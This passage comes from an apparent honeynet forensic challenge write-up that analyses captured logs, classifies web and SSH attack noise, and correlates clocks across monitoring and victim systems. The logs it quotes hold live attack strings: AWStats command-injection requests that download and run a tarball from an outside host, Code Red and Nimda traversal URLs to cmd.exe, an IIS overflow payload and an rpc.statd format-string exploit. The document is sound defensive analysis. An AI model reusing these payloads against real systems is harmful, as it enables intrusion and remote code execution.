5	WEB-ATTACKS rm command attempt	1365
4	ATTACK-RESPONSES id check returned root	498
3	BLEEDING-EDGE IRC – Private message on non-std port	2000347
1	WEB-MISC cat%20 access	1147

Table 3: Most Critical Snort IDS Alerts

Since these alerts were inherently in the foreground of suspicious activity (see Question 2), they cannot exactly be classified as background noise. Nonetheless, they are presented here to be complete.

c) httpd/ based noise

Using the Apache files, we can extract evidence of HTTP based attacks launched against the honeynet. The attackers tried several times to proxy mail and other web sites through the Apache server on combo. They intentionally tried to invoke server errors with known banner-grabbing techniques. There were attempts to exploit vulnerable versions of Awstats, OpenSSL, as well as fairly persistent scans for PHPBB pages and requests consistent with Code Red and Nimda.

The quick hint here was to assume that since this is a honeynet, unless the author has staged some legitimate seeming content (like Cliff Stohl did to his honeypot in The Cukoo's Egg,[6]), practically everything should be considered suspicious. Since it was already pretty obvious that Awstats.pl had been accessed for malicious purposes, to learn what remains, we did a quick line count with those hits excluded:

```
# grep " 200 " access_log* | egrep -v awstats | wc -l
50
```

This shows that throughout the 6 Apache access logs, with exception on the awstats.pl access (we know that file existed already), only 50 other requests returned an HTTP 200 status, [7]. Out of this 50, four were the server's default icons (powered_by.gif, apache_pb.gif) and the rest were OPTIONS requests for an index page at the root level /. So, essentially every other request to the web server was likely generated by some sort of malware or automated scanning tool. With this information, we can more confidently jump into the seemingly abundant collection of log files and strip away everything we can readily identify.

In this upcoming event, an attacker using the Undernet IRC Network Proxy Scanner, [8] asks the honeypot to make a connection to 193.109.122.67 over port 6668 on his behalf. Open proxies and those which support the HTTP CONNECT method would happily comply, however the honeypot was not susceptible to this. We know this because the bridge IPTables logs don't show any communication between combo and 193.109.122.67; and also because the HTTP status code returned by the request is 405 (method not supported).

```
access_log.3:193.109.122.45 - - [26/Feb/2005:14:14:18 -0500]"CONNECT 193.109.122.67:6668 HTTP/1.0" 405 982 "-""pxyscand/2.0
```

Multiple sources also tried using the CONNECT method to proxy mail through the honeypot web server:

```
access_log.6:219.153.10.142 - - [05/Feb/2005:06:33:41 -0500]"CONNECT mx1.mail.yahoo.com:25 HTTP/1.0" 405 986 "-""-"
access_log.6:218.78.209.75 - - [05/Feb/2005:06:34:30 -0500]"CONNECT mailin-04.mx.aol.com:25 HTTP/1.0" 405 988 "-""-"
access_log.6:219.153.10.140 - - [05/Feb/2005:06:52:57 -0500]"CONNECT mail.hottieonwebcams34.biz:25 HTTP/1.0" 405 994"-" "-"
access_log.6:218.78.209.77 - - [05/Feb/2005:07:42:10 -0500]"CONNECT mail-fwd.mx.g19.rapidsite.net:25 HTTP/1.0" 405 997"-" "-"
```

As a quick comparison, attackers also (unsuccessfully) tried using the POST method, which is more widely supported by web servers than CONNECT:

```
access_log.6:219.153.10.142 - - [05/Feb/2005:11:14:46 -0500] "POST http://219.153.10.142:25/ HTTP/1.1" 404 1052 "-" "-"
```

In order to classify the remaining entries, we used a simple command sequence to print out each unique hit the web server and calculate the number of hits it received. The command line and output are shown in the Appendix 3.

There were a large number (180) of attempts to access /sumthin on the web server, which is almost definitely a banner-grabbing attempt. The methodology here is to request a file you know doesn't exist on the server, which will invoke an error. Most default Apache configurations will return the version within the error message's body, which is probably what attackers are looking for. This is a reconnaissance step that will normally precede an attack calibrated for particular versions of Apache.

```
180 /sumthin
```

Additionally, there were several hits to /default.ida?[buffer][code], which is attempt to exploit a buffer overflow vulnerability in the IIS Indexing Service DLL (this is probably Code Red II). Since our honeynet was running Apache, it was not vulnerable to these attempts. Likewise, there are footprints from Nimda or custom tools designed to exploit the same vulnerabilities as Nimda. For example, using data from our quick classification scheme, these requests are looking for the back doors left by Code Red II:

```
50 /scripts/root.exe?/c+dir
49 /MSADC/root.exe?/c+dir
```

These are attempts to exploit the same back doors left by Code Red II, this time by accessing cmd.exe from the virtual drives it creates:

```
49 /c/winnt/system32/cmd.exe?/c+dir
48 /d/winnt/system32/cmd.exe?/c+dir
```

Entries such as the next few are employed by Nimda as well, but aim to exploit the "Escaped Character Decoding Command Execution" and "Extended Unicode Directory Traversal" vulnerabilities.

```
47 /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
46/_vti_bin/..%255c../..%255c../..255c../winnt/system32/cmd.exe?/c+dir
43 /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
43 /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
```

Among the rest are attempts, likely automated, to find where PHPBB files may be stored on the web server, given a number of common locations. This could be produced by a Santy variant or other code simply mapping out potential targets to which it can spread:

```
23 /portal/
23 /phpBB2/
23 /phpBB/
23 /phpbb/
23 /msgboard/
23 /html/forums/
23 /html/forum/
23 /Forum/
23 /foros/
23 /discussion/
```

The following entries are attempts to proxy HTTP traffic through the web server (as opposed to proxying SMTP via CONNECT method). If successful, the attacker would be presented with the page they requested, however it would appear to have come from combo's IP address. In this way, attackers can hide their tracks and anonymize their web surfing. We know that combo didn't allow this based on it's HTTP 403 reply. Likely mod_proxy was not installed or it had been configured with ACL restrictions based on source IP address.

```
97 http://www.yahoo.com/
14 http://ad.trafficmp.com/tmpad/banner/ad/tmp.asp?poID=elvu
13 http://www.ebay.com/
4 http://it-secure-x.de/cgi-bin/proxytest.pl
1 http://t.trafficmp.com/p.t/i9085/34027962/?http://www.cashtop.net/
```

In the SSL error logs, there were traces of an old OpenSSL exploit, often known as the infection mechanism used by Slapper, the Apache/mod_ssl worm, [9].

```
[Wed Feb 16 22:06:56 2005] [error] SSL Library Error: 335983704 error:1406B458:SSL routines:func(107):reason(1112)
```

Last but not least are the attempts to exploit a vulnerability in Awstats.pl. The heart of this is displayed in Table 1 of Question 2, so it won't be repeated here. Here is an example, however, for comprehensiveness. The command within pipe characters is executed by the victim server.

```
68 //cgi-bin/awstats.pl?configdir=|%20id%20|
```

An interesting note about the content found in Apache's logs is that not a single entry seemed to be related to web search engines or indexing crawlers. This would stand out as being slightly abnormal, even given the short amount of time the web server was online.

d) syslog/secure based noise

According to the syslog/secure files, SSH version mapping attempts and brute force password attacks were prevalent. These can easily be classified based upon the entries that the SSH daemon writes to the log files. For example, the following command shows that 21 unique source IP addresses successfully authenticated to the SSH service (as user 'test'):

```
# grep Accepted syslog/secure* | awk '{print $11}' | sort -u | wc -l
21
```

The next command shows the side effect of brute force user name guessing. These are the unique login accounts that automated scanning tools had been configured to test for existence. Among my favorite are slapme and vampire:

```
# for x in `grep Illegal syslog/secure* | awk '{print $8}' | sort -u`; do echo "$x, " | tr -d '\n'; done
andrew, angel, betty, billy, brandon, brian, buddy, carmen,charlie, daniel, david, emily, eric, jason, jeremy, joe, johnny, jordan, justin, lion, lucy, magic, maria, master, max, michael, nicholas, nicole, oracle, robin, rose, slapme, stephen, steven, tom, vampire, william, www
```

The final command shows a different set of user accounts, which SSH daemon logged as "Failed password" rather than "Illegal user". The distinguishable difference here is that these 4 accounts actually do exist on the system, whereas the ones above do not. The attacker had a much better chance logging in as one of these four users, since they already had the user's login.

```
# grep Failed syslog/secure* | awk '{print $9}' | sort -u
info
mail
nobody
root
```

A single remote host at 217.74.112.2 used the SSH Version Mapper to gain some additional information about the service before continuing any attacks they had in mind:

```
secure.2:Feb 27 10:18:22 combo sshd[7095]: scanned from 217.74.112.2 with SSH-1.0-SSH_Version_Mapper.  Don't panic.
```

e) syslog/maillog based noise

The syslog/maillog files showed that several remote machines connected to the honeynet's SMTP service, but failed to act according to protocol. This is not necessarily malicious, since improperly configured servers can generate messages such as these (which is why they are just noted here as background noise). This command shows that 25 unique hosts connected to the honeypot and didn't send any legitimate requests throughout the duration of that connection.

```
# grep 'MAIL/EXPN/VRFY/ETRN' maillog* | awk '{print $7}' | sort -u | wc -l
25
```

Attempts to relay spam were of course encountered, with about 50% claiming to come from a random address at daum.net. Once again, nothing outstanding:

```
# grep 'from=<' maillog* | awk '{print $7}' | cut -d= -f2 | tr -d '<>,' | sort -u
bss@fre.sg.co.nz
china9988@21cn.com
mailman@combo.honeypotbox.com
root@combo.honeypotbox.com
smtphunter21@yahoo.co.kr
sobusubohi966@daum.net
support@microsoft.com
wewewemeku480@daum.net
yajejjsoll753@daum.net
yenewekumo117@daum.net
ymwskuds@daum.net
```

One event that does warrant some attention is the time between 4 and 5 PM on March 6 when Sendmail began rejecting connections due to an extremely high load. This type of activity is typically associated with compiling large programs such as the Linux kernel or other CPU and I/O intensive applications. Since we learned in Question 2 that back doors were available as early as March 2, this may have been something initiated by the attacker.

```
Mar 6 16:06:48 combo sendmail[1746]: rejecting connections on daemon MTA: load average: 13
[...lots more...]
Mar 6 16:23:46 combo sendmail[1746]: runqueue: Skipping queue run -- load average too high
[...lots more...]
Mar 6 16:56:15 combo sendmail[1746]: accepting connections again for daemon MTA
```

f) syslog/messages based noise

Entries in syslog/messages show that root logged in twice from tty1 and that remote attackers made several attempts to exploit the rcp.statd service with format string vulnerabilities. On the occasion below, Febrary 24, there is an obscure entry related to the keyboard and an unknown scancode right before the root login. At first, we were kicking around the idea that an attacker had trojanized tty1 (or the log files) to make it appear that his remote login was really conducted from the console. After discussion, we decided that this could only have been produced by someone with physical access to the keyboard. The user probably pressed some keys not understood by the kernel in attempt to power down the machine or wake it up from sleep mode so a login prompt would appear. That said, we should still mention the possibility that an attacker who had already gained root access could have injected this message into syslog with the logger utility or syslog() function (among others), however we don't have any plausible explanations on why an attacker would try to do this. The user logged in, appears to have restarted httpd, and then logged out. With the log files provided, we cannot be sure what else, if anything, the root user did during this session.

```
messages.3:Feb 24 09:02:28 combo kernel: keyboard: unknown scancode e0 63
messages.3:Feb 24 09:02:28 combo last message repeated 3 times
messages.3:Feb 24 09:02:33 combo login(pam_unix)[2107]: session opened for user root by LOGIN(uid=0)
messages.3:Feb 24 09:02:33 combo -- root[2107]: ROOT LOGIN ON tty1
messages.3:Feb 24 09:06:20 combo httpd: httpd shutdown succeeded
messages.3:Feb 24 09:06:27 combo httpd: httpd startup succeeded
messages.3:Feb 24 09:14:59 combo login(pam_unix)[2107]: session closed for user root
```

The next incident of interest consists of several attempts to exploit a very old format string vulnerability in the rpc.statd service packaged with multiple Linux distributions. According to SecurityFocus, [10] Red Hat versions 6.2a or later are not affected, which excludes our honeypot running version 9. Likewise, the CERT Advisory, [11] for this attack shows how an entry would appear had the attack been successful.

```
messages:Mar 16 05:39:05 combo rpc.statd[1601]: gethostbyname error for
^X367377277^X367377277^Z367377277^Z367377277%8x%8x%8x%8x%8x%8x%8x%8x%8x%62716x%hn%51859x%hn\220\220\220\220\220\22[...lots
more...]220\220\220\220\220
```

Our last significant event was a second root login to tty1, after which the log files for combo were discontinued (the author may have cut them off here intentionally). Note that although this was the last time we saw an entry to the combo log files, it did not appear to have been shut down, because as explained in Question 1 – outgoing activity from the combo system continued well past March 17.

```
# tail -n 2 syslog/messages
messages:Mar 17 13:06:36 combo login(pam_unix)[17812]: session opened for user root by LOGIN(uid=0)
messages:Mar 17 13:06:36 combo -- root[17812]: ROOT LOGIN ON tty1
```

5. Do you think that the time was synchronized between the various monitoring systems (where Snort and iptables logs were collected) and a victim system (where syslog and Apache logs were collected)?

The simple answer to this question would be no. Our monitoring system clocks (host names bridge and bastion) were 4 hours, 47 minutes, and 1 second fast; in relation to that of the victim system (host name combo). This can be measured by correlating events across logs from the three machines. If we can prove that certain entries in these logs undeniably belong to the same transaction, the difference in logging time can be calculated with a high level of accuracy. To answer this question, we will step through the traces left by one of the first attackers, 213.135.2.227 (described in part during Table 1 of Question 2).

We can start by first making sure the bridge and bastion times are synchronized by analyzing entries in the IPTables and Snort logs, respectively. Then, we can link those events with the corresponding entries on combo, such as those we find in Apache access and Apache error logs. Here we go:

Our first correlating event is what looks like a TCP scan on port 80 by our attacker on February 26. Bridge logs the attempt in syslog/iptablessyslog, whereas bastion logs a side-effect of the scan in snort/snortsyslog; both stamping the entry at 17:45:03. The unique socket pair (SRC=213.135.2.226, SPT=32452, DST=11.11.79.89, DPT=80) gives us a high level of confidence that the entries in both the IPTables logs and the Snort logs were produced during the same TCP session. Tools designed to use a consistent source port do exist, however with multiple entries from this source host, each with a different source port, we have no reason to believe that one was in use here.

IPTables Log (Monitoring System – bridge):

```
iptables/iptableslog:Feb 26 17:45:03 INBOUND TCP: SRC=213.135.2.227 DST=11.11.79.89 LEN=48 TTL=107 ID=49812 PROTO=TCP SPT=32452 DPT=80 WINDOW=65535 SYN URGP=0
```

Snort Log (Monitoring System – bastion):

```
snort/snortsyslog:Feb 26 17:45:03 bastion snort: [111:2:1] (spp_stream4) possible EVASIVE RST detection {TCP} 213.135.2.227:32452 -> 11.11.79.89:80
```

This looks like initial reconnaissances of the victim by our attacker and establishes that the bridge and bastion log times were in sync on February 26 at 17:45:03*. Despite this apparent transaction to port 80 of the victim machine, no entries were logged to the Apache access or error log until later (see next few paragraphs). This would indicate that the attacker never completed a valid TCP 3-way handshake in order to request anything from the Apache process. It makes perfect sense since Snort detected an evasive RST flag set in a return packet from the attacker. Most likely this was an ACK-RST or simply a RST in reply to the server's innocent SYN-ACK, [12].

* We want to point out that although the bridge and bastion clocks were synchronized at this point in time, they may not remain this way due to natural drift or intentional modifications.

The next inbound connection our attacker makes to port 80 of the victim machine is extremely important. Not only does it complete a legitimate 3-way handshake, but it makes an HTTP GET request to the vulnerable awstats.pl script on the victim machine, which leaves traces in the Apache access logs. This brings events from the monitoring and victim systems together for the first time and gives strong evidence that the clocks were not synchronized between the two. Comparing the times of 18:57:37 (bridge) with 14:10:36 (combo) should result in a difference of 4h 47m 1s:

IPTables Log (Monitoring System - bridge)

```
iptables/iptablesyslog:Feb 26 18:57:37 INBOUND TCP: SRC=213.135.2.227 DST=11.11.79.89 LEN=60 TTL=43 ID=57562 DF PROTO=TCP SPT=49727 DPT=80 WINDOW=5840 SYN URGP=0
```

Apache Access Log (Victim System - combo)

```
http/access_log.3:213.135.2.227 - - [26/Feb/2005:14:10:36 -0500] "GET /cgi-bin/awstats.pl HTTP/1.0" 200 760 "-""-"
```

As we already theorized, the first event was to detect an open port 80 on the victim machine. This next event was the second layer of reconnaissance, it was to determine if a file named awstats.pl existed in the /cgi-bin directory of the Apache web server. It received an HTTP 200 status code, which means the request was fulfilled with success. Looking into the future, we can probably expect a third event which actually exploits something in the awstats.pl script.

An interesting tid-bit of information worth pointing out before we move on is the differing TTL (Time-To-Live) values set by the remote, attacking system. During the initial contact to port 80, the TTL as it hit the monitoring system was 107. Then, the follow up connection to port 80 showed a TTL of 43. Dynamic routing schemes may play a part in inconsistent TTL values of legitimate traffic, but hardly ever to such an outstanding degree. It is more likely that the tool used to do the reconnaissance intentionally set the TTL to something even and reasonable, like 128.

Going on that assumption, the attacker would have gone through 21 hops (128 – 107) before reaching the device named bridge. Now, with the knowledge that 64 is a default TTL for many hosts, especially those running Unix/Linux, this would make sense because once the reconnaissance tool is swapped for an exploit tool* (used to send the GET request to awstats.pl), the remote system still appears to be 21 hops away (64 – 43).

* This doesn't imply the use of any particular "tool," the request could have been sent by command line (wget, links, lynx), by typing in a URL into a browser, or by modifying a proof-of-concept like the example provided by FsIRT [2].

Back to the matter at hand – time synchronization between monitoring and victim machines. The third and final inbound connection to port 80 by our attacker reveals a great deal. On the same day, bridge logged the SYN packet into iptables/iptablesyslog at 19:00:30.

IPTables Log (Monitoring System – bridge):

```
iptables/iptablesyslog:Feb 26 19:00:39 INBOUND TCP: SRC=213.135.2.227 DST=11.11.79.89 LEN=60 TTL=43 ID=48310 DF PROTO=TCP SPT=50860 DPT=80 WINDOW=5840 SYN URGP=0
```

At the same moment in time, undoubtedly the same TCP session, an entry in Apache's access log on combo shows the follow up HTTP GET request to awstats.pl (this time with code to exploit the vulnerability):

Apache Access Log (Victim System – combo):

```
http/access_log.3:213.135.2.227 - - [26/Feb/2005:14:13:38 -0500] "GET /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3bwget%20www.shady.go.ro%2faw.tgz%3b%20tar%20zxf%20aw.tgz%3b%20rm%20-f%20aw.tgz%3b%20cd%20.aw%3b%20.%2finetd%20%7c%20 HTTP/1.1" 200 410 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"
```

The difference in these two logging times, even several hours later than the last correlation, is still 4 hours, 47 mintues and 1 second (19:00:39 bridge and 14:13:38 combo).

This brings us to two additional entries which further prove this time relationship. The errors* logged by Apache on combo match right up with Snort's Intrusion Detection alerts on bastion. Pay close attention here, because there is a little twist that may confuse things. Here are the relevant entries from the victim machine:

* In actuality, these are not errors of the Apache application per se – it is simply the result of the attacker's failure to redirect the wget STDOUT and STDERR to /dev/null or somewhere similar.

Apache Error Log (Victim Machine – combo):

```
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] --14:13:41-- http://www.shady.go.ro/aw.tgz
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] => `aw.tgz'
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] Resolving www.shady.go.ro... done.
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] Connecting to www.shady.go.ro[81.196.20.134]:80...connected.
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] HTTP request sent, awaiting response... 200 OK
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] Length: 205,207 [text/plain]
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227]
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] 0K .......... .......... .......... .......... .......... 24% 59.03 KB/s
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] 50K .......... .......... .......... .......... .......... 49% 101.01 KB/s
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] 100K .......... .......... .......... .......... .......... 74% 21.35 KB/s
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] 150K .......... .......... .......... .......... .......... 99% 50.00 KB/s
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] 200K 100% 397.46 KB/s
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227]
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] 14:13:56 (42.78 KB/s) - `aw.tgz' saved [205207/205207]
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227]
http/error_log.3:[Sat Feb 26 14:13:56 2005] [error] [client 213.135.2.227] sh: /awstats.11.11.79.89.conf: No such file or directory
```

The time to be concerned with is 14:13:56, when combo wrote the entries into error_log. Working backwards, by adding our expected time difference to this value, any Snort logs on bastion that are associated with this exact request should be time stamped 19:00:57. There is nothing logged that matches this time! However, based on the descriptions (wget command attempt and rm command attempt), these two entries at 19:00:42 are what we are looking for:

Snort Log (Monitor System – bastion):

```
snort/snortsyslog:Feb 26 19:00:42 bastion snort: [1:1330:6] WEB-ATTACKS wget command attempt [Classification: Web Application Attack] [Priority: 1]: {TCP} 213.135.2.227:50860 -> 11.11.79.89:80
snort/snortsyslog:Feb 26 19:00:42 bastion snort: [1:1365:5] WEB-ATTACKS rm command attempt [Classification: Web Application Attack] [Priority: 1]: {TCP} 213.135.2.227:50860 -> 11.11.79.89:80
```

Notice that the time difference here is off 15 seconds off from what we would have expected. Lucky for us that wget has good logging features built in and helps us cope with this difference. The wget output shows that the download started at 14:13:41 on combo and ended at 14:13:56. Using the wget start time of 14:13:41 and the Snort alert at from bastion at 19:00:42 we get a difference of 4h 47m 1s - perfect!

Finally, we can correlate the outbound connection attempt that was triggered with the execution of the wget command. Our IPTables log (see below) shows that the victim server initiated an outbound TCP connection to 81.196.20.134 at 19:00:52. This time is 4h 47m 11s different from the wget time stamps of 14:13:41 that combo recorded in it's error_log. The 10 second gap is likely due to the time required to launch wget and perform the DNS resolution of www.shady.go.ro.

IPTables Log (Monitoring System – bridge):

```
iptables/iptablesyslog:Feb 26 19:00:52 OUTBOUND CONN TCP: SRC=11.11.79.67 DST=81.196.20.134 LEN=60 TTL=64 ID=41241 DF PROTO=TCP SPT=1059 DPT=80 WINDOW=5840 SYN URGP=0
```

What we have done here is correlate the times of several events as they were independently logged by the monitoring and victim systems. We used 4 different log files across the three systems to correlate entries and determine that bridge and bastion were synchronized, but they were both 4h 47m and 1s ahead of combo.

* *Bonus Question: Describe the procedures and tools of that you used to analyzed all the distinct log sources together.*

Our procedure was quite simple: grab a few laptops, 4 friends, some lunch, and lock ourselves in the lab for two hours; each concentrating on a particular set of log files. Outstanding data was jotted down on a dry erase board hanging on the lab's wall, which was used to review our findings and formulate a few general hypotheses about the occurrences. Our collaboration from that point on was done via private phpbb2 forums, where we posted evidence, unanswered questions, and drafts to the challenge's questions.

On a more individual basis, our methodology was to tackle large amounts of data from the bottom up. The idea was to quickly shift through and strip away everything that could be readily identified and evaluated. Then, we dealt with that was left. We went beyond the log file interpretation to obtain copies of the attacker's toolkits and back doors and exercised some basic reverse engineering skills mixed with dynamic analysis of the code in a Vmware environment. These steps were taken on the assumption that in order to understand the threat an attacker poses, we must become familiar with the weapons he chooses to use.

To aid the manual parsing of data, we used some standard Unix/Linux utilities such as grep, sed, awk, sort, uniq, wc, tr, cat, less, head, tail, and cut. For code analysis we used strace, ltrace, gdb, strings, file, md5sum, odbjump, netstat, lsof, Vmware, and VirusTotal [13]. For the more complex ordering and sorting requirements we used Larry Wall's Perl scripting language.

III. Appendices

1. Orderports.pl Script [TOC]

```
This script was used to get a listing of the unique TCP and UDP ports
along with the frequency of each.

#!/usr/bin/perl
# Note: Inbound traffic only, UDP|TCP protocols only
$proto = shift;
open(A,"iptablesyslog") or die "no file: $!";
while() {
  if (/.+INBOUND.+PROTO=(TCP|UDP).+DPT=(\d{1,5})/) {
    $tcp_ports{$2}++ if ($1 eq 'TCP');
    $udp_ports{$2}++ if ($1 eq 'UDP');
    $total_ports++;
  }
  #else { print "$_\n"; }
}
if ($proto eq 'tcp') {
  foreach $key (keys %tcp_ports) {
    $percent = ($tcp_ports{$key} / $total_ports) * 100;
    printf("$tcp_ports{$key}: $key (%.1f)\n", $percent);
  }
}
elsif ($proto eq 'udp') {
  foreach $key (keys %udp_ports) {
    $percent = ($udp_ports{$key} / $total_ports) * 100;
    printf("$udp_ports{$key}: $key (%.1f)\n", $percent);
  }
}
else { print "Bad Arg: tcp|udp\n"; }
print "\nTotal: $total_ports\n";
close(A);
```

2. Top 20 Attacked TCP and UDP Ports [TOC]

```
These show the output of the script in Appendex 1, which was later
formatted and used in Question 2.

# perl orderports.pl tcp | sort -rn | head -n 20
56513: 135 (32.8)
27145: 445 (15.8)
16542: 139 (9.6)
12369: 4899 (7.2)
9849: 1433 (5.7)
5139: 3306 (3.0)
4047: 80 (2.4)
2818: 22 (1.6)
2413: 42 (1.4)
1384: 21 (0.8)
1215: 1025 (0.7)
880: 5554 (0.5)
730: 3389 (0.4)
723: 25 (0.4)
638: 3127 (0.4)
620: 9898 (0.4)
529: 6129 (0.3)
493: 6101 (0.3)
482: 50204 (0.3)
405: 5219 (0.2)

# perl orderports.pl udp | sort -rn | head -n 20
5979: 1434 (3.5)
3448: 137 (2.0)
885: 1026 (0.5)
527: 1027 (0.3)
317: 53 (0.2)
46: 1 (0.0)
39: 135 (0.0)
33: 5093 (0.0)
20: 111 (0.0)
19: 1024 (0.0)
2: 14328 (0.0)
2: 1432 (0.0)
1: fifty-seven way tie
```

3. Apache Unique Hits [TOC]

```
This shows all unique client requests to the victim web server.

# for x in `grep GET access_log* | awk '{print $7}' | sort -rn | uniq`; do grep "$x" access_log* | wc -l | tr -d '\n'; echo "$x"; done | sort -rn
3554 /
793 //
185 //cgi-bin/
180 /sumthin
158 /cgi-bin/awstats.pl
116 //.../awstats.pl?configdir=|%20id%20|
97 http://www.yahoo.com/
93 //cgi/awstats.pl?configdir=|%20id%20|
73 /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir"
71 //cgi-bin/awstats/awstats.pl?configdir=|%20id%20|
68 //cgi-bin/awstats.pl?configdir=|%20id%20|
50 /scripts/root.exe?/c+dir
49 /MSADC/root.exe?/c+dir
49 /c/winnt/system32/cmd.exe?/c+dir
48 /d/winnt/system32/cmd.exe?/c+dir
47 /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
46 /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
46 //usage/
46 /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
46 /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
46 /forums/
46 /forum/
46 //cgi/awstats/
44 /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
44 /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
44 /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
43 /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
43 /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
43 /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
43 /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
43 /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
40 /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
23 //usage/cgi-bin/awstats.pl?configdir=|%20id%20|
23 //stat-cgi/awstats.pl?configdir=|%20id%20|
23 /portal/
23 /phpBB2/
23 /phpBB/
23 /phpbb/
23 /nar/
23 /msgboard/
23 http://oursns.net/get.asp?get=7144
23 /html/forums/
23 /html/forum/
23 /Forum/
23 /foros/
23 /discussion/
23 //cp/awstats/awstats.pl?configdir=|%20id%20|
23 //cgi-bin/cgi-bin/awstats.pl?configdir=|%20id%20|
23 //cgi/awstats/awstats.pl?configdir=|%20id%20|
23 /boards/
23 /board/
23 //awstatswwwroot/cgi-bin/awstats.pl?configdir=|%20id%20|
23 //awstats/perl/awstats.pl?configdir=|%20id%20|
23 //awstats/awstats.pl?configdir=|%20id%20|
22 /NULL.printer"
19 /Forums/
15 http://www.intel.com/
14 http://ad.trafficmp.com/tmpad/banner/ad/tmp.asp?pID=e1vu
13 http://www.ebay.com/
12 /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+ver
12 /bb/
11 http://ad.trafficmp.com/tmpad/banner/ad/tmp.asp?pID=e10W
10 /scripts/nsiislog.dll
9 http://www.google.com/intl/zh-CN/
9 http://ad.trafficmp.com/tmpad/banner/ad/tmp.asp?pID=e9V4
8 http://ad.trafficmp.com/tmpad/banner/ad/tmp.asp?pID=e1Xb
8 http://ad.trafficmp.com/tmpad/banner/ad/tmp.asp?pID=e1ID
5 http://www.afcphf.com/image-1505434-10361657
5 /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bls%20%2da1%3becho%20e_exp%3b%2500
4 /ugboards/
4 /ugboard/
4 http://whttp//www.awitovhc.com/image-1491191-10285635
4 http://it-secure-x.de/cgi-bin/proxytest.pl
3 /newboard/
3 /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3bwget%20www.shady.go.ro%2faw.tgz%3b%20tar%20xzf%20aw.tgz%3b%20rm%20-f%20aw.tgz%3b%20cd%20.aw%3b%20.%2finetd%20%7c%20
```

```
3 /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3bwget%20www.shady.go.ro%2fa.tgz%3b%20tar%20zxf%20a.tgz%3b%20rm%20-f%20a.tgz%3b%20.%2fa%20%7c%20
2 /icons/powered_by.gif
2 /icons/apache_pb.gif
2 http://www.tqlkg.com/image-1605255-5048467
2 http://nitrous.exitfuel.com/code/exitpoplight1.html?prov=servant&ref=http://dotservant.com
2 /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3buname%20%2da%3bw%3becho%20e_exp%3b%2500
1 http://www.qksrv.net/image-1505157-8318006
1 http://t.trafficmp.com/p.t/i9236/79360706/?http://www.besteach.com/
1 http://t.trafficmp.com/p.t/i9236/51125451/?http://www.besteach.com/
1 http://t.trafficmp.com/p.t/i9236/43447338/?http://www.besteach.com/
1 http://t.trafficmp.com/p.t/i9236/37623578/?http://www.besteach.com/
1 http://t.trafficmp.com/p.t/i9236/18314758/?http://www.besteach.com/
1 http://t.trafficmp.com/p.t/i9085/70233990/?http://www.cashtop.net/
1 http://t.trafficmp.com/p.t/i9085/58692353/?http://www.cashtop.net/
1 http://t.trafficmp.com/p.t/i9085/34027962/?http://www.cashtop.net/
1 http://t.trafficmp.com/b.t/i9234/84239206/?http://www.tlask.com/
1 http://t.trafficmp.com/b.t/i9234/53184329/?http://www.tlask.com/
1 http://t.trafficmp.com/b.t/i9234/45266514/?http://www.tlask.com/
1 http://t.trafficmp.com/b.t/i7007/97626987/?http://www.jebest.com/
1 http://t.trafficmp.com/b.t/i7007/95877057/?http://www.jebest.com/
1 http://t.trafficmp.com/b.t/i7007/81781300/?http://www.jebest.com/
1 http://t.trafficmp.com/b.t/i7007/79411518/?http://www.jebest.com/
1 http://t.trafficmp.com/b.t/i7007/66659335/?http://www.jebest.com/
